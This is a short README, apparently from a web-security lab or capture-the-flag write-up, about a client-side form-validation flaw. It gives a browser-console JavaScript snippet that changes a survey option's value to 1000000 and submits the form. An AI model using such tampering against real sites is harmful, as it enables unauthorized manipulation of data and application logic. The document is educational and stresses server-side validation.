Skip to content

Latest commit

 

History

History
19 lines (15 loc) · 732 Bytes

README.md

File metadata and controls

19 lines (15 loc) · 732 Bytes

Form validation

⚠️ Always validate user input on the server side, even if front side already did that!

To exploit this vulnerability go to the http://$IPADDR/?page=survey page. Change option's value to some large number. Select changed value to trigger form to submit.

To make this simpler, paste this code inside console in dev tools and select any option on the page.

document.querySelectorAll('form').forEach(f => {
    let sel = f.querySelector('select');
    sel.onchange = function() {
        sel.options[sel.selectedIndex].value='1000000';
        f.submit();
    };
});

References